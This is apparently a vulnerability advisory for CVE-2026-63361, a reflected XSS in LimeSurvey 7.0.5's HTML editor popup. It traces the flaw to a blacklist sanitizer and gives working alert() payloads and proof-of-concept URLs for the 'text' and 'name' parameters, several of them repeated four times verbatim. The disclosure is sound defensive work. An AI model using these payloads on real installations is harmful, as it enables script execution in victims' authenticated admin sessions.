LimeSurvey Community Edition 7.0.5+260623 - Reflected XSS in HTML editor popup

Description

LimeSurvey Community Edition 7.0.5+260623 contains an authenticated reflected cross-site scripting vulnerability in the HTML editor popup endpoint. The text and name query parameters are passed through a blacklist sanitizer and then rendered without context-appropriate output encoding.

An attacker can send a crafted URL to an authenticated LimeSurvey user. The text vector breaks out of the document <title> element, while the name vector terminates the inline JavaScript block and injects executable HTML. JavaScript executes in the victim's authenticated LimeSurvey origin and can perform actions available to that session.

Vulnerability

Root cause

1. HtmlEditorPop::index() reads name and text from the query string and applies sanitize_xss_string() (application/controllers/admin/HtmlEditorPop.php:18-25).

2. sanitize_xss_string() removes a small blacklist of characters but leaves HTML delimiters such as <, >, and / unchanged (application/helpers/sanitize_helper.php:240-246). It is not a context-aware HTML or JavaScript encoder.

3. sFieldText is printed directly inside the document title (application/views/admin/htmleditor/pop_editor_view.php:3-5).

4. sFieldName is printed directly inside a JavaScript string passed to document.getElementById() (application/views/admin/htmleditor/pop_editor_view.php:80-86).

5. The same sFieldName is also printed into JavaScript strings at pop_editor_view.php:105 and pop_editor_view.php:113.

Confirmed source-to-sink paths

text parameter

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

The following payload survives the sanitizer and closes the title element:

</title><img src=x onerror=alert`Pwned-text-field`>

</title><img src=x onerror=alert`Pwned-text-field`>

</title><img src=x onerror=alert`Pwned-text-field`>

</title><img src=x onerror=alert`Pwned-text-field`>

The backtick expression is valid JavaScript tagged-template syntax and does not require parentheses, which are removed by the blacklist.

name parameter

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

The following payload breaks out of the inline script block:

</script><img src=x onerror=alert`Pwned-name-field`>

</script><img src=x onerror=alert`Pwned-name-field`>

</script><img src=x onerror=alert`Pwned-name-field`>

</script><img src=x onerror=alert`Pwned-name-field`>

The endpoint is routed through AdminController (application/controllers/AdminController.php:337-377). AdminController::run() requires an authenticated administration session but does not add a global permission check for htmleditorpop before dispatching the action (application/controllers/AdminController.php:156-203). Therefore, any authenticated user can target another authenticated user who opens the crafted URL; no survey identifier or survey-specific permission is required when sid is omitted.

PoC

Preconditions

• LimeSurvey Community Edition 7.0.5+260623.

• A victim authenticated to the LimeSurvey administration panel.

• No attacker account, survey identifier, or survey-specific permission is required to construct the URL.

• The victim opens the crafted URL in the same browser session.

text vector

Open the following URL while authenticated:

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question

Expected result:

• The response contains the attacker-controlled value inside the <title> element.

• The injected image fails to load.

• A browser dialog displays Pwned-text-field.

name vector

Open the following URL while authenticated:

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question

Expected result:

• The injected </script> terminates the inline script block.

• The browser parses the injected image element.

• A browser dialog displays Pwned-name-field.

Evidence of Exploitation

• Video of exploitation:

  

• Static evidence:

  

Our security policy

We have reserved the ID CVE-2026-63361 to refer to this issue from now on.

Disclosure policy

System Information

• LimeSurvey

• Version: 7.0.5

• Operating System: Any

References

• GitHub Repository: https://github.com/LimeSurvey/LimeSurvey/

• Security: https://github.com/LimeSurvey/LimeSurvey/security

• Patch: https://github.com/LimeSurvey/LimeSurvey/commit/a8993bfd05c4a11255b8400ed9c41a2c22e93aa4

Mitigation

An updated version of LimeSurvey is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.